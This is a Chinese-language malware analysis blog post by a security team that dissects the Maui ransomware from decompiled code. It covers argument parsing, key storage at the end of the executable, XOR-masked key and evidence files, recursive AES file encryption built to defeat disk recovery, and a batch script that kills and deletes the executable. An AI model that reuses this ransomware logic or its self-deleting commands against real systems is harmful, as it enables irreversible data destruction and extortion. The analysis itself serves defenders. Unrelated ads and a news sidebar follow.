Maui 恶意软件分析
像 Conti、LockBit、BlackCat 这些 RaaS(勒索软件即服务)的经济系统已经很好识别了,但是在这些系统之外,有一些比较小众。
Maui 在 2022 年 6 月发现,手动操作进行文件加密等。
初步分析
主函数
if?(?argc_1?<?2?)
??{
????wprintf(L"Usage:?maui?[-ptx]?[PATH]\n");
????wprintf(L"Options:\n");
????wprintf(L"-p?dir:\tSet?Log?Directory?(Default:?Current?Directory)\n");
????wprintf(L"-t?n:\t\tSet?Thread?Count?(Default:?1)\n");
????wprintf(L"-x:\t\tSelf?Melt?(Default:?No)\n");
????exit(0);
??}
??v2?=?1;
??v11?=?0;
??v12?=?0;
??log_path?=?0;
??thread_num?=?1;
??do
??{
????if?(?!wcscmp((const?unsigned?__int16?*)argv_1[v2],?L"-p")?)
????{
??????v3?=?argv_1[++v2];
??????v11?=?1;
??????log_path?=?(const?wchar_t?*)v3;
????}
????else?if?(?!wcscmp((const?unsigned?__int16?*)argv_1[v2],?L"-t")?)
????{
??????v4?=?(const?wchar_t?*)argv_1[++v2];
??????swscanf(v4,?L"%d",?&thread_num);
????}
????else?if?(?!wcscmp((const?unsigned?__int16?*)argv_1[v2],?L"-x")?)
????{
??????v12?=?1;
????}
????++v2;
??}
用户体验很好,敏感肌也可以用,首先提示了一些参数,并且解析这些参数
如果设置了日志路径,则解析一下日志路径,并去掉结尾不必要的\
__int16?*__usercall?sub_401F20@<eax>(const?wchar_t?*a1@<eax>)
{
??__int16?*result;?//?eax
??signed?int?i;?//?esi
??bool?v3;?//?zf
??__int16?v4;?//?cx
??if?(?!a1?)
????return?(__int16?*)-1;
??result?=?(__int16?*)_wcsdup(a1);
??dword_4B9A70?=?result;
??for?(?i?=?wcslen((const?unsigned?__int16?*)result)?-?1;?i?>=?0;?dword_4B9A70[i?+?1]?=?0?)
??{
????v3?=?iswspace(result[i])?==?0;
????result?=?dword_4B9A70;
????if?(?v3?)
????{
??????v4?=?dword_4B9A70[i];
??????if?(?v4?!=?'\\'?&&?v4?!=?'/'?)
????????break;
????}
????--i;
??}
??return?result;
}
密钥写操作
_DWORD?*__thiscall?sub_401670(_DWORD?*this)
{
??FILE?*v2;?//?eax
??FILE?*v3;?//?ebx
??void?**v4;?//?edi
??void?*v5;?//?eax
??int?Buffer[2];?//?[esp+8h]?[ebp-410h]?BYREF
??size_t?ElementSize;?//?[esp+10h]?[ebp-408h]
??WCHAR?Filename[512];?//?[esp+14h]?[ebp-404h]?BYREF
??sub_403CC0();
??*this?=?&CMauiKeyManager::`vftable';
??GetModuleFileNameW(0,?Filename,?0x200u);
??v2?=?_wfopen(Filename,?L"rb");
??v3?=?v2;
??if?(?!v2?)
??{
????wprintf(L"Unable?to?read?public?key?info.\n");
????exit(-1);
??}
??fseek(v2,?-12,?2);
??fread(Buffer,?0xCu,?1u,?v3);
??if?(?Buffer[0]?!=?1347764811?)
??{
????wprintf(L"Unable?to?read?public?key?info.\nPlease?append?it?by?<Godhead>?using?-maui?option.\n");
????goto?LABEL_5;
??}
??if?(?Buffer[1]?!=?1?)
??{
????wprintf(L"Incompatible?public?key?version.\nPlease?overwrite?it?by?<Godhead>?using?-maui?option.\n");
LABEL_5:
????fclose(v3);
????exit(-1);
??}
??this[10]?=?0;
??v4?=?(void?**)malloc(0x10u);
??v5?=?malloc(0x2800u);
??v4[1]?=?0;
??*v4?=?v5;
??v4[3]?=?0;
??v4[2]?=?(void?*)10240;
??v4[1]?=?(void?*)ElementSize;
??fseek(v3,?-12?-?ElementSize,?2);
??fread(*v4,?ElementSize,?1u,?v3);
??fclose(v3);
??this[10]?=?sub_404460(v4,?0);
??free(*v4);
??free(v4);
??return?this;
}
公钥信息保存在可执行文件的最后 12 字节中,并且有特定的 magic number?PUBK,并有版本指示
如果 magic number 和版本都正确,则根据长度读取公钥,并 Load
key和evd操作

char?__userpurge?sub_403E80@<al>(const?WCHAR?*a1@<eax>,?char?*a2)
{
??//。。。
??v25?=?0;
??v27?=?0;
??v26?=?0;
??if?(?!GetFileAttributesExW(a1,?GetFileExInfoStandard,?FileInformation)?)
????return?0;
??if?(?(FileInformation[0]?&?0x10)?!=?0?)
????return?0;
??file_size?=?v33?+?((unsigned?__int64)v32?<<?32);
??file_handle1?=?_wfopen(a1,?L"rb");
??file_handle2?=?file_handle1;
??if?(?!file_handle1?)
????return?0;
??if?(?file_size?>?0x100000?)
??{
????file_handle3?=?file_handle1;
LABEL_6:
????fclose(file_handle3);
????return?0;
??}
??file_content?=?(char?*)malloc(file_size);
??v8?=?file_content;
??file_handle3?=?file_handle2;
??if?(?!file_content?)
????goto?LABEL_6;
??if?(?fread(file_content,?1u,?file_size,?file_handle2)?!=?file_size?)
????goto?LABEL_33;
??fclose(file_handle2);
??v9?=?0;
??for?(?i?=?0;?i?<?file_size;?++i?)
??{
????v8[i]?^=?a2[v9?+?24];
????if?(?(unsigned?int)++v9?>=?0x10?)
??????v9?=?0;
??}
??if?(?*(_DWORD?*)v8?!=?'DGOD'?||?*((_DWORD?*)v8?+?1)?!=?1?)
????goto?LABEL_33;
??v11?=?*((_DWORD?*)v8?+?2);
??if?(?v11?==?4?)
??{
????v12?=?*((int?*)v8?+?3);
????v29?=?*((_DWORD?*)v8?+?3);
????v13?=?16;
????goto?LABEL_19;
??}
??if?(?v11?!=?8?)
??{
LABEL_33:
????free(v8);
????return?0;
??}
??HIDWORD(v12)?=?*((_DWORD?*)v8?+?4);
??v29?=?*((_DWORD?*)v8?+?3);
??v13?=?20;
LABEL_19:
??v14?=?*(_DWORD?*)&v8[v13];
??v30?=?HIDWORD(v12);
??if?(?v14?>?file_size?-?v13?)
????goto?LABEL_26;
??v15?=?v13?+?4;
??if?(?v14?>?0?)
??{
????v16?=?sub_404260();
????v22?=?(void?*)*v16;
????v28?=?v16;
????v16[1]?=?v14;
????v16[3]?=?0;
????memcpy(v22,?&v8[v15],?v14);
????v27?=?sub_404460(v28,?0);
??}
??v17?=?v14?+?v15;
??v18?=?*(_DWORD?*)&v8[v17];
??if?(?v18?>?file_size?-?v17?)
??{
LABEL_26:
????v20?=?0;
????v21?=?v27;
??}
??else
??{
????if?(?v18?>?0?)
????{
??????v19?=?(void?**)sub_404260();
??????v23?=?*v19;
??????v19[1]?=?(void?*)v18;
??????v19[3]?=?0;
??????memcpy(v23,?&v8[v17?+?4],?v18);
??????v26?=?sub_404460(v19,?1);
????}
????v20?=?v26;
????v21?=?v27;
????v25?=?1;
????*((_DWORD?*)a2?+?4)?=?v29;
????*((_DWORD?*)a2?+?5)?=?v30;
????*((_DWORD?*)a2?+?2)?=?v26;
????*((_DWORD?*)a2?+?3)?=?v27;
??}
??free(v8);
??if?(?!v25?)
??{
????if?(?v20?)
??????sub_404440();
????if?(?v21?)
??????sub_404440();
??}
??return?v25;
}
如果没有,就生成 key 和 evd 文件。另外 key 是 DOGD 开头的

char?__thiscall?create_evd_file(_DWORD?*this)
{
??//...
??v2?=?this?+?2;
??v23?=?this;
??v24?=?(void?***)(this?+?2);
??result?=?sub_4045E0(this?+?2,?this?+?3,?1024);
??if?(?result?)
??{
????v4?=?_time64(0);
????this[4]?=?v4;
????LODWORD(v4)?=?*v2;
????this[5]?=?HIDWORD(v4);
????v5?=?(void?**)sub_4044F0((_DWORD?*)v4);
????v22?=?v5;
????if?(?!v5?)
????{
??????wprintf(L"Unable?to?get?private?key\n");
??????exit(0);
????}
????memset(FileName,?0,?1026);
????sub_401F90();
????v6?=?(char?*)&v24?+?2;
????do
????{
??????v7?=?*((_WORD?*)v6?+?1);
??????v6?+=?2;
????}
????while?(?v7?);
????*(_DWORD?*)v6?=?92;
????v8?=?(char?*)&v24?+?2;
????do
????{
??????v9?=?*((_WORD?*)v8?+?1);
??????v8?+=?2;
????}
????while?(?v9?);
????*(_DWORD?*)v8?=?0x61006D;
????*((_DWORD?*)v8?+?1)?=?0x690075;
????*((_DWORD?*)v8?+?2)?=?0x65002E;
????*((_DWORD?*)v8?+?3)?=?0x640076;
????*((_WORD?*)v8?+?8)?=?0;
????v10?=?_wfopen(FileName,?L"wb");
????v11?=?v10;
????if?(?!v10?)
????{
??????wprintf(L"Unable?to?create?evidence?file\n");
??????exit(0);
????}
????Buffer[0]?=?1163282756;
????Buffer[1]?=?1;
????v21?=?16;
????fwrite(Buffer,?1u,?0xCu,?v10);
????fwrite(this?+?6,?1u,?0x10u,?v11);
????v12?=?malloc(0x80u);
????v13?=?(int)v5[1];
????v14?=?(char?*)*v5;
????Block?=?v12;
????if?(?v13?>?0?)
????{
??????do
??????{
????????v15?=?v13;
????????if?(?v13?>=?116?)
??????????v15?=?116;
????????v16?=?sub_404560(Block,?v23[10]);
????????if?(?v16?<?0?)
????????{
??????????wprintf(L"Unable?to?encrypt?private?key\n");
??????????free(Block);
??????????exit(0);
????????}
????????v21?+=?v16;
????????v14?+=?v15;
????????fwrite(Block,?1u,?v16,?v11);
????????v13?-=?v15;
??????}
??????while?(?v13?>?0?);
??????v5?=?v22;
????}
????free(Block);
????fseek(v11,?0,?0);
????fwrite(Buffer,?1u,?0xCu,?v11);
????fclose(v11);
????free(*v5);
????free(v5);
????v17?=?v24;
????v18?=?*v24;
????if?(?*v24?)
????{
??????if?(?*v18?)
????????sub_41D800(*v18);
??????free(v18);
????}
????*v17?=?0;
????return?1;
??}
??return?result;
}
evd 文件以 DIVE 开头,并且保存了加密文件的相关信息,例如本次加密时使用私钥是通过硬编码在软件中的公钥加密保存的。
生成 key 的操作如下
char?__stdcall?sub_404140(_DWORD?*a1,?FILE?*Stream)
{
??//...
??v2?=?malloc(0x100000u);
??file_content?=?v2;
??if?(?v2?)
??{
????v5?=?a1;
????*v2?=?'DGOD';
????v2[1]?=?1;
????v6?=?a1[4];
????v7?=?a1[5];
????file_content[2]?=?8;
????file_content[3]?=?v6;
????file_content[4]?=?v7;
????v8?=?(_DWORD?*)a1[3];
????if?(?v8?)
????{
??????v9?=?(const?void?**)sub_4044F0(v8);
??????v10?=?(size_t)v9[1];
??????v20?=?*v9;
??????file_content[5]?=?v10;
??????memcpy(file_content?+?6,?v20,?v10);
??????v11?=?v10?+?24;
??????free((void?*)*v9);
??????free(v9);
????}
????else
????{
??????file_content[5]?=?0;
??????v11?=?24;
????}
????v12?=?(_DWORD?*)a1[2];
????if?(?v12?)
????{
??????v13?=?(const?void?**)sub_4044F0(v12);
??????v14?=?(size_t)v13[1];
??????v15?=?*v13;
??????*(_DWORD?*)((char?*)file_content?+?v11)?=?v14;
??????v16?=?v11?+?4;
??????memcpy((char?*)file_content?+?v16,?v15,?v14);
??????file_size?=?v14?+?v16;
??????free((void?*)*v13);
??????free(v13);
??????v5?=?a1;
????}
????else
????{
??????*(_DWORD?*)((char?*)file_content?+?v11)?=?0;
??????file_size?=?v11?+?4;
????}
????v18?=?0;
????for?(?i?=?0;?i?<?file_size;?++i?)
????{
??????*((_BYTE?*)file_content?+?i)?^=?*((_BYTE?*)v5?+?v18?+?24);
??????if?(?(unsigned?int)++v18?>=?0x10?)
????????v18?=?0;
????}
????fwrite(file_content,?1u,?file_size,?Stream);
????fclose(Stream);
????free(file_content);
????return?1;
??}
??else
??{
????fclose(Stream);
????return?0;
??}
}
key 文件以 DOGD 开头,并且使用一个 16 字节的 key XOR 加密,XOR key 每次加载是不变的,所以很方便重用。参考资料说是根据\\.\PhysicalDrive0的有关信息生成
文件加密
int?__stdcall?sub_402500(int?a1,?int?a2,?int?Count)
{
??size_t?v3;?//?eax
??_DWORD?*v4;?//?ebx
??int?v5;?//?esi
??_BYTE?*v6;?//?eax
??void?*v7;?//?eax
??_DWORD?*v8;?//?eax
??_BYTE?*v9;?//?esi
??signed?int?i;?//?[esp+10h]?[ebp-8h]
??_DWORD?*Block;?//?[esp+14h]?[ebp-4h]
??*(_DWORD?*)(a1?+?8)?=?0;
??*(_DWORD?*)(a1?+?12)?=?0;
??*(_DWORD?*)(a1?+?16)?=?0;
??*(_DWORD?*)(a1?+?20)?=?0;
??*(_DWORD?*)(a1?+?24)?=?0;
??*(_DWORD?*)(a1?+?28)?=?0;
??*(_DWORD?*)(a1?+?32)?=?0;
??*(_DWORD?*)(a1?+?36)?=?0;
??if?(?a2?&&?Count?>=?1?&&?(v3?=?sub_4030D0(a2))?!=?0?)
??{
????*(_DWORD?*)a1?=?calloc(v3,?0x10u);
????sub_4030D0(a2);
????sub_403700();
????sub_401AC0(a2);
????*(_BYTE?*)(a1?+?1076)?=?1;
????*(_DWORD?*)(a1?+?1068)?=?Count;
????*(_DWORD?*)(a1?+?1072)?=?calloc(Count,?4u);
????for?(?i?=?0;?i?<?Count;?++i?)
????{
??????v4?=?calloc(1u,?0xCu);
??????*v4?=?a1;
??????v4[1]?=?i;
??????v5?=?*(_DWORD?*)(*(_DWORD?*)(a1?+?40)?+?12);
??????if?(?v5?)
??????{
????????v7?=?sub_41CF40();
????????v8?=?sub_41CEB0((int)v7);
????????Block?=?v8;
????????if?(?*(_BYTE?*)(v5?+?4)?)
??????????sub_41D920((int)v8,?*(_DWORD?*)v5);
????????else
??????????sub_41D960(v8,?*(_DWORD?*)v5);
????????v6?=?Block;
????????if?(?Block?)
????????{
??????????v6?=?(_BYTE?*)sub_41D980(Block,?0);
??????????v9?=?v6;
??????????if?(?v6?)
??????????{
????????????v6?=?calloc(1u,?8u);
????????????*(_DWORD?*)v6?=?v9;
????????????v6[4]?=?0;
??????????}
????????}
??????}
??????else
??????{
????????Block?=?0;
????????v6?=?0;
??????}
??????v4[2]?=?v6;
??????if?(?Block?)
????????sub_41C8C0(Block);
??????*(_DWORD?*)(*(_DWORD?*)(a1?+?1072)?+?4?*?i)?=?CreateThread(0,?0,?StartAddress,?v4,?0,?0);
????}
????return?0;
??}
??else
??{
????sub_4037A0();
????return?-1;
??}
}
sub_402500((int)v9,?(int)argv_1[argc_1?-?1],?thread_num);
int?__thiscall?sub_4031F0(int?this,?WCHAR?*a2,?const?unsigned?__int16?*a3,?char?*a4,?int?a5)
{
??//...
??v5?=?a3;
??v44?=?0;
??memset(FileName,?0,?sizeof(FileName));
??v7?=?a2;
??do
??{
????v8?=?*v7;
????*(WCHAR?*)((char?*)v7?+?(char?*)FileName?-?(char?*)a2)?=?*v7;
????++v7;
??}
??while?(?v8?);
??if?(?wcslen(a3)?)
??{
????v9?=?&FindData.name[261];
????do
????{
??????v10?=?v9[1];
??????++v9;
????}
????while?(?v10?);
????v11?=?(char?*)a3;
????*(_DWORD?*)v9?=?92;
????do
????{
??????v12?=?*(_WORD?*)v11;
??????v11?+=?2;
????}
????while?(?v12?);
????v13?=?v11?-?(char?*)a3;
????v14?=?&FindData.name[261];
????do
????{
??????v15?=?v14[1];
??????++v14;
????}
????while?(?v15?);
????qmemcpy(v14,?a3,?v13);
??}
??if?(?wcslen((const?unsigned?__int16?*)a4)?)
??{
????v16?=?&FindData.name[261];
????do
????{
??????v17?=?v16[1];
??????++v16;
????}
????while?(?v17?);
????v18?=?a4;
????*(_DWORD?*)v16?=?92;
????do
????{
??????v19?=?*(_WORD?*)v18;
??????v18?+=?2;
????}
????while?(?v19?);
????v20?=?v18?-?a4;
????v21?=?&FindData.name[261];
????do
????{
??????v22?=?v21[1];
??????++v21;
????}
????while?(?v22?);
????qmemcpy(v21,?a4,?v20);
????v5?=?a3;
??}
??if?(?!GetFileAttributesExW(FileName,?GetFileExInfoStandard,?FileInformation)?)
????return?0;
??if?(?(FileInformation[0]?&?0x10)?!=?0?)
??{
????memset(v51,?0,?1024);
????v24?=?0;
????do
????{
??????v25?=?FileName[v24];
??????v51[v24++]?=?v25;
????}
????while?(?v25?);
????v26?=?&v50[511];
????do
????{
??????v27?=?v26[1];
??????++v26;
????}
????while?(?v27?);
????*(_DWORD?*)v26?=?2752604;
????v26[2]?=?0;
????v28?=?_wfindfirst64i32(v51,?&FindData);
????if?(?v28?==?-1?)
??????return?0;
????do
????{
??????if?(?wcscmp(FindData.name,?(const?unsigned?__int16?*)".")?&&?wcscmp(FindData.name,?L"..")?)
??????{
????????memset(v50,?0,?sizeof(v50));
????????v29?=?(unsigned?__int16?*)a4;
????????do
????????{
??????????v30?=?*v29;
??????????*(unsigned?__int16?*)((char?*)v29?+?(char?*)v50?-?a4)?=?*v29;
??????????++v29;
????????}
????????while?(?v30?);
????????if?(?wcslen(v50)?)
????????{
??????????v31?=?&FileName[511];
??????????do
??????????{
????????????v32?=?v31[1];
????????????++v31;
??????????}
??????????while?(?v32?);
??????????*(_DWORD?*)v31?=?92;
????????}
????????name?=?FindData.name;
????????while?(?*name++?)
??????????;
????????v35?=?(char?*)name?-?(char?*)FindData.name;
????????v36?=?&FileName[511];
????????do
????????{
??????????v37?=?v36[1];
??????????++v36;
????????}
????????while?(?v37?);
????????qmemcpy(v36,?FindData.name,?v35);
????????v44?+=?sub_4031F0(a2,?a3,?v50,?a5);
??????}
????}
????while?(?!_wfindnext64i32(v28,?&FindData)?);
????_findclose(v28);
????return?v44;
??}
??else
??{
????if?(?a5?)
????{
??????*(_DWORD?*)(16?*?*(_DWORD?*)(this?+?8)?+?a5)?=?calloc(wcslen((const?unsigned?__int16?*)a4)?+?wcslen(v5)?+?2,?2u);
??????v38?=?a3;
??????v39?=?*(_WORD?**)(16?*?*(_DWORD?*)(this?+?8)?+?a5);
??????do
??????{
????????v40?=?*v38;
????????*v39++?=?*v38++;
??????}
??????while?(?v40?);
??????if?(?wcslen((const?unsigned?__int16?*)a4)?)
??????{
????????v41?=?*(_DWORD?*)(16?*?*(_DWORD?*)(this?+?8)?+?a5)?-?2;
????????do
????????{
??????????v42?=?*(_WORD?*)(v41?+?2);
??????????v41?+=?2;
????????}
????????while?(?v42?);
????????*(_DWORD?*)v41?=?92;
????????wcscat(*(unsigned?__int16?**)(16?*?*(_DWORD?*)(this?+?8)?+?a5),?(const?unsigned?__int16?*)a4);
??????}
??????v43?=?v47?+?((unsigned?__int64)v46?<<?32);
??????*(_QWORD?*)(16?*?*(_DWORD?*)(this?+?8)?+?a5?+?8)?=?v43;
??????*(_QWORD?*)(this?+?16)?+=?v43;
??????++*(_QWORD?*)(this?+?8);
????}
????return?1;
??}
}
获取文件属性确定是否加密
int?__usercall?sub_401BB0@<eax>(char?*a1@<esi>,?WCHAR?*a2,?char?a3)
{
??//...
??v3?=?a2;
??*(_WORD?*)a1?=?0;
??do
??{
????v4?=?*v3;
????*(WCHAR?*)((char?*)v3?+?(char?*)FileName?-?(char?*)a2)?=?*v3;
????++v3;
??}
??while?(?v4?);
??memset(FileInformation,?0,?sizeof(FileInformation));
??v20?=?0;
??if?(?!GetFileAttributesExW(FileName,?GetFileExInfoStandard,?FileInformation)?)
????return?-1;
??v6?=?(FileInformation[0]?&?0x10)?==?0;
??v18?=?0;
??v7?=?wcslen(FileName);
??if?(?!v7?||?v7?>?1?&&?FileName[v7?-?1]?==?':'?)
????return?0;
??if?(?v7?>?2?&&?FileName[v7?-?2]?==?':'?)
??{
????v8?=?FileName[v7?-?1];
????if?(?v8?==?92?||?v8?==?47?)
??????return?0;
??}
??if?(?v7?==?1?)
??{
????if?(?FileName[0]?==?'\\'?||?FileName[0]?==?'/'?)
??????return?-1;
????v9?=?FileName;
????do
????{
??????v10?=?*v9;
??????*(WCHAR?*)((char?*)v9?+?a1?-?(char?*)FileName)?=?*v9;
??????++v9;
????}
????while?(?v10?);
????return?0;
??}
??v11?=?v7?-?2;
??if?(?v7?-?2?<?0?)
??{
LABEL_28:
????v13?=?FileName;
????do
????{
??????v14?=?*v13;
??????*(WCHAR?*)((char?*)v13?+?a1?-?(char?*)FileName)?=?*v13;
??????++v13;
????}
????while?(?v14?);
????return?0;
??}
??while?(?1?)
??{
????if?(?v6?&&?!a3?&&?FileName[v11]?==?46?&&?!v18?)
????{
??????FileName[v11]?=?0;
??????v18?=?1;
????}
????v12?=?FileName[v11];
????if?(?v12?==?92?||?v12?==?47?)
??????break;
????if?(?--v11?<?0?)
??????goto?LABEL_28;
??}
??v15?=?&FileName[v11?+?1];
??v16?=?a1?-?(char?*)v15;
??do
??{
????v17?=?*v15;
????*(WCHAR?*)((char?*)v15?+?v16)?=?*v15;
????++v15;
??}
??while?(?v17?);
??return?0;
}
加密后的文件文件头为TPRC
*v67?=?(const?void?*)'CRPT';
????????v67[1]?=?(const?void?*)1;
????????v67[2]?=?*(const?void?**)v11;
????????v67[3]?=?*(const?void?**)(v11?+?4);
????????v67[4]?=?*(const?void?**)(v11?+?8);
????????v67[5]?=?*(const?void?**)(v11?+?12);
????????fwrite(v67,?1u,?8u,?v59);
如果文件已加密则删除临时文件,否则使用 AES 32 字节密钥加密
v38?=?_wfopen(FileName,?L"rb");
??????????????v39?=?v38;
??????????????Stream?=?v38;
??????????????if?(?v38?)
??????????????{
????????????????if?(?v58?>=?8?&&?(fread(v62,?1u,?8u,?v38),?fseek(v39,?0,?0),?*v62?==?'CRPT')?)
????????????????{
??????????????????v43?=?(volatile?LONGLONG?*)(v57?+?32);
??????????????????do
??????????????????{
????????????????????v44?=?*(_DWORD?*)v43;
????????????????????v45?=?*(_DWORD?*)(v57?+?36);
??????????????????}
??????????????????while?(?InterlockedCompareExchange64(v43,?v58?+?*v43,?*v43)?!=?__PAIR64__(v45,?v44)?);
??????????????????fclose(Stream);
??????????????????fclose(file_handle);
??????????????????_wunlink(TempFileName);
????????????????}
????????????????else
????????????????{
??????????????????ElementCount?=?v58;
??????????????????do
??????????????????{
????????????????????if?(?!*(_BYTE?*)(v57?+?1076)?)
??????????????????????break;
????????????????????if?(?ElementCount?>=?4096?)
??????????????????????v46?=?4096;
????????????????????else
??????????????????????v46?=?ElementCount;
????????????????????fread(v62?+?8,?1u,?v46,?Stream);
????????????????????v47?=?v46?+?32;
????????????????????v48?=?(v46?+?32)?%?32;
????????????????????if?(?v48?)
??????????????????????v47?+=?32?-?v48;
????????????????????sub_404390(v64);
????????????????????fwrite(v64,?1u,?v47,?file_handle);
????????????????????v68?=?v46;
????????????????????v66?+=?v46;
????????????????????v49?=?(volatile?LONGLONG?*)(v57?+?32);
????????????????????do
????????????????????{
??????????????????????v50?=?*(_DWORD?*)v49;
??????????????????????HIDWORD(v56)?=?*(_DWORD?*)(v57?+?36);
??????????????????????v51?=?HIDWORD(v56);
??????????????????????LODWORD(v56)?=?*(_DWORD?*)v49;
????????????????????}
????????????????????while?(?InterlockedCompareExchange64(v49,?*v49?+?v68,?v56)?!=?__PAIR64__(v51,?v50)?);
????????????????????ElementCount?-=?v68;
????????????????????if?(?*(_DWORD?*)(v57?+?1080)?)
??????????????????????sub_4038B0(*(_DWORD?*)(v57?+?32),?*(_DWORD?*)(v57?+?36),?v66,?HIDWORD(v66),?v58,?HIDWORD(v58));
??????????????????}
??????????????????while?(?ElementCount?>?0?);
??????????????????fclose(file_handle);
??????????????????fclose(Stream);
??????????????????if?(?sub_403B40(TempFileName,?FileName)?==?-1?&&?sub_403A90(TempFileName)?==?-1?)
????????????????????sub_403820(6);
????????????????}
????????????????goto?LABEL_71;
??????????????}
??????????????sub_403820(2);
??????????????v40?=?(volatile?LONGLONG?*)(v57?+?32);
??????????????do
??????????????{
????????????????v41?=?*(_DWORD?*)v40;
????????????????v42?=?*(_DWORD?*)(v57?+?36);
??????????????}
??????????????while?(?InterlockedCompareExchange64(v40,?v58?+?*v40,?*v40)?!=?__PAIR64__(v42,?v41)?);
????????????}
????????????fclose(file_handle);
????????????_wunlink(TempFileName);
??????????}
加密完成后从临时文件中读取加密后的内容,写入原文件
?Offset?=?0i64;
??v7?=?malloc(0x1000u);
??v8?=?v7;
??if?(?v7?)
??{
????memset(v7,?0,?0x1000u);
????if?(?v4?>=?0?&&?(v4?>?0?||?v5)?)
????{
??????do
??????{
????????v9?=?fread(v8,?1u,?0x1000u,?v2);
????????if?(?v9?<=?0?)
??????????break;
????????v10?=?fwrite(v8,?1u,?v9,?FileNamea);
????????if?(?v10?<=?0?)
??????????break;
????????Offset?+=?v10;
????????if?(?v10?<?v9?)
??????????fseek(v2,?Offset,?0);
??????}
??????while?(?Offset?<?v12?);
????}
????free(v8);
????fclose(v2);
????fclose(FileNamea);
????return?_wunlink(lpFileName);
??}
这种方式加密的文件无法通过磁盘恢复工具恢复
删除自身
如果设置了对应选项,则在加密完成后删除自身
if?(?v12?)
????sub_402200();
int?sub_402200()
{
??__int16?*v0;?//?eax
??__int16?v1;?//?cx
??FILE?*v2;?//?esi
??__int16?v4;?//?[esp-2h]?[ebp-C2Eh]?BYREF
??WCHAR?Buffer[512];?//?[esp+0h]?[ebp-C2Ch]?BYREF
??WCHAR?Filename[512];?//?[esp+400h]?[ebp-82Ch]?BYREF
??wchar_t?Command[532];?//?[esp+800h]?[ebp-42Ch]?BYREF
??memset(Buffer,?0,?sizeof(Buffer));
??GetTempPathW(0x200u,?Buffer);
??v0?=?&v4;
??do
??{
????v1?=?v0[1];
????++v0;
??}
??while?(?v1?);
??*(_DWORD?*)v0?=?6750308;
??*((_DWORD?*)v0?+?1)?=?6553711;
??*((_DWORD?*)v0?+?2)?=?6422574;
??*((_DWORD?*)v0?+?3)?=?7602273;
??v0[8]?=?0;
??v2?=?_wfopen(Buffer,?L"wt");
??if?(?v2?)
??{
????GetModuleFileNameW(0,?Filename,?0x200u);
????fputs("@ECHO?OFF\n",?v2);
????fputs(":REPEAT\n",?v2);
????fputs("ping?localhost?-n?1\n",?v2);
????fwprintf(v2,?L"TASKKILL?/IM?\"%s\"\n",?Filename);
????fwprintf(v2,?L"del?/f?/q?\"%s\"\n",?Filename);
????fwprintf(v2,?L"if?exist?\"%s\"?goto?REPEAT\n",?Filename);
????fputs("(goto)?2>nul?&?del?\"%~f0\"",?v2);
????fclose(v2);
??}3
??_swprintf(Command,?L"start?/b?\"\"?cmd?/c?\"%s\"",?Buffer);
??return?_wsystem(Command);}
总结
公钥是附在文件最后的,所以要想解密就必须从公钥中得到私钥。如果可以大素数分解、应用某些 RSA 攻击当然是可以解密,否则无法解密。另外这个恶意软件很可能是某次攻击中的一部分,由 Loader 下发并执行。可以精确加密某个文件,并且送回凭证。
参考资料中给了一个解析公钥的 python PoC
参考
[1] https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中共中央召开党外人士座谈会 7904297
- 2 贪污超11亿!白天辉被执行死刑 7809088
- 3 王毅:是可忍孰不可忍 7713840
- 4 全国首艘氢电拖轮作业亮点多 7618287
- 5 日本强震 高市早苗神色慌张一路小跑 7522419
- 6 河北沧州杀妻案男方被判死刑 7427048
- 7 水银体温计将于2026年禁产 7329465
- 8 《大明王朝1566》逆袭成国产剧天花板 7232925
- 9 日本地震致多人受伤 超10万人需避难 7137854
- 10 “人造太阳”何以照进现实 7045641







Chamd5安全团队
